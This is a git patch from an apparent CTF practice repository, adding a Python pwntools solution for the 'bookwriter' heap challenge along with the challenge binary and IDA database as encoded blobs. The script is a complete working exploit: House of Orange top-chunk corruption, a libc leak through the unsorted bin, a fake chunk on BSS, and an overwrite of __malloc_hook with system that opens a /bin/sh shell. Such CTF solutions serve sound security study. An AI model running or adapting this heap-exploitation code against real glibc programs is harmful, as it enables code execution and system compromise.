From 3bf3e05d7350c108c35f469128fb8066fd4b14f8 Mon Sep 17 00:00:00 2001 From: Jack Ren Date: Fri, 25 Feb 2022 22:37:15 +0800 Subject: [PATCH] Finished OtherBin/bookwriter --- OtherBin/bookwriter/answer.py | 102 +++++++++++++++++++++++++++++ OtherBin/bookwriter/bookwriter | Bin 0 -> 10232 bytes OtherBin/bookwriter/bookwriter.i64 | Bin 0 -> 165449 bytes 3 files changed, 102 insertions(+) create mode 100755 OtherBin/bookwriter/answer.py create mode 100755 OtherBin/bookwriter/bookwriter create mode 100644 OtherBin/bookwriter/bookwriter.i64 diff --git a/OtherBin/bookwriter/answer.py b/OtherBin/bookwriter/answer.py new file mode 100755 index 0000000..433f56d --- /dev/null +++ b/OtherBin/bookwriter/answer.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python2 +# coding = utf-8 +# Environment: Ubuntu 16.04 + +from pwn import * +from LibcSearcher import * +context(arch = "amd64", os = "linux", log_level = "debug") + +def send_choice(choice): + p.recvuntil('Your choice :') + p.sendline(str(choice)) + +def input_author(data): + p.recvuntil('Author :') + p.send(data) + +def add_data(size, data): + send_choice(1) + p.recvuntil('Size of page :') + p.sendline(str(size)) + p.recvuntil('Content :') + p.send(data) + +def view_data(index): + send_choice(2) + p.recvuntil('Index of page :') + p.sendline(str(index)) + p.recvuntil('Content :\n') + +def edit_data(index, data): + send_choice(3) + p.recvuntil('Index of page :') + p.sendline(str(index)) + p.recvuntil('Content:') + p.send(data) + +def info_read(): + send_choice(4) + p.recvuntil('Author : ') + buf = p.recvuntil('\n') + p.recvuntil('Do you want to change the author ? (yes:1 / no:0) ') + p.sendline("0") + return buf + +def info_write(): + send_choice(4) + p.recvuntil('Do you want to change the author ? (yes:1 / no:0) ') + p.sendline("1") + + +p = process('./bookwriter') +elf = ELF('./bookwriter') +# gdb.attach(p, '') + +input_author('a' * 0x40) + +# Step 1: Use `House of Orange` to get a free chunk in unsorted bin +add_data(0x18, 'a' * 0x18) # Create Chunk on page[0] +edit_data(0, 'a' * 0x18) # Update page_size[0] to a larger size +edit_data(0, '\x00' * 0x18 + '\xe1\x0f\x00')# Overwrite `mchunk_size` domain of Top Chunk to a smaller size, + # Data starting with `\x00` make `page_size[0] = 0` to enable an extra malloc +add_data(0x1fe1, 'a' * 20) # Create Large Chunk on page[1] to make ptmalloc recycle current small Top Chunk into Unsorted Bin + +# Step 2: Unsorted Bin Libc Leak +add_data(0x40, '\x10') # The chunk just entered UnsortedBin will be placed in LargeBin and split, then return, so page[2] cannot leak libc + # Mustn't allocated all `0xfb8` size of UnsortedBin or No Backward Pointer from `main_arena` +add_data(0x40, '\x10') # Create Data[3] to leak `__malloc_hook` using `fd` domain of Unsorted Bin +view_data(3) # Address End with `\x10` is exactly `__malloc_hook` +libc_malloc_hook = u64(p.recv(6) + '\x00\x00') +libc = LibcSearcher('__malloc_hook', libc_malloc_hook) +libc_base = libc_malloc_hook - libc.dump('__malloc_hook') +system_libc = libc_base + libc.dump('system') +log.info('libc_base: ' + hex(libc_base)) +log.info('system_libc: ' + hex(system_libc)) + +# Step 3: Leak Heap Address using printing `author_bss` +heap_addr = u64(info_read()[0x40:-1].ljust(8, '\x00')) +log.info('heap_addr: ' + hex(heap_addr)) + +# Step 4: Fake a chunk on author_bss +author_bss = 0x602060 +top_chunk = libc_malloc_hook - 0x10 + 0x78 +info_write() +input_author('/bin/sh\x00' + p64(0x111) + p64(top_chunk) * 2 + p64(0) * 4) # `fd` & `bk` point to Top Chunk to prevent validation error + +# Step 5: Fill All the page[] term to overwrite page_size[0](page[8]) to control the heap +for i in range(5): + add_data(0x40, 'a') # A large heap address is assigned to page_size[0] therefore enable a large size input on heap +""" +Extend UnsortedBin Double Linked List to data on BSS. +Mention that although the double linked list is corrupted, the program won't abort + but will allocate chunk we faked on the BSS. +""" +edit_data(0, '\x00' * 0x240 + p64(0xdead) + p64(0x41) + p64(author_bss) * 2) # Exactly overwrite the free unsorted chunk +add_data(0x100, 'a' * 0x30 + p64(libc_malloc_hook - 8)) +edit_data(0, p64(0) + p64(system_libc)) # Set page_size[0] to 0 to enable a next malloc invocation (getshell) +p.sendline("1") +p.recvuntil('Size of page :') +p.sendline(str(author_bss)) + +p.interactive() + diff --git a/OtherBin/bookwriter/bookwriter b/OtherBin/bookwriter/bookwriter new file mode 100755 index 0000000000000000000000000000000000000000..f5ffe53d458d4b75ed1541bd9890906e630f2922 GIT binary patch literal 10232 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 literal 0 HcmV?d00001 diff --git a/OtherBin/bookwriter/bookwriter.i64 b/OtherBin/bookwriter/bookwriter.i64 new file mode 100644 index 0000000000000000000000000000000000000000..c94e6a74fb1399d2d72dd1dcc93b71e4d4fde8a7 GIT binary patch literal 165449 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 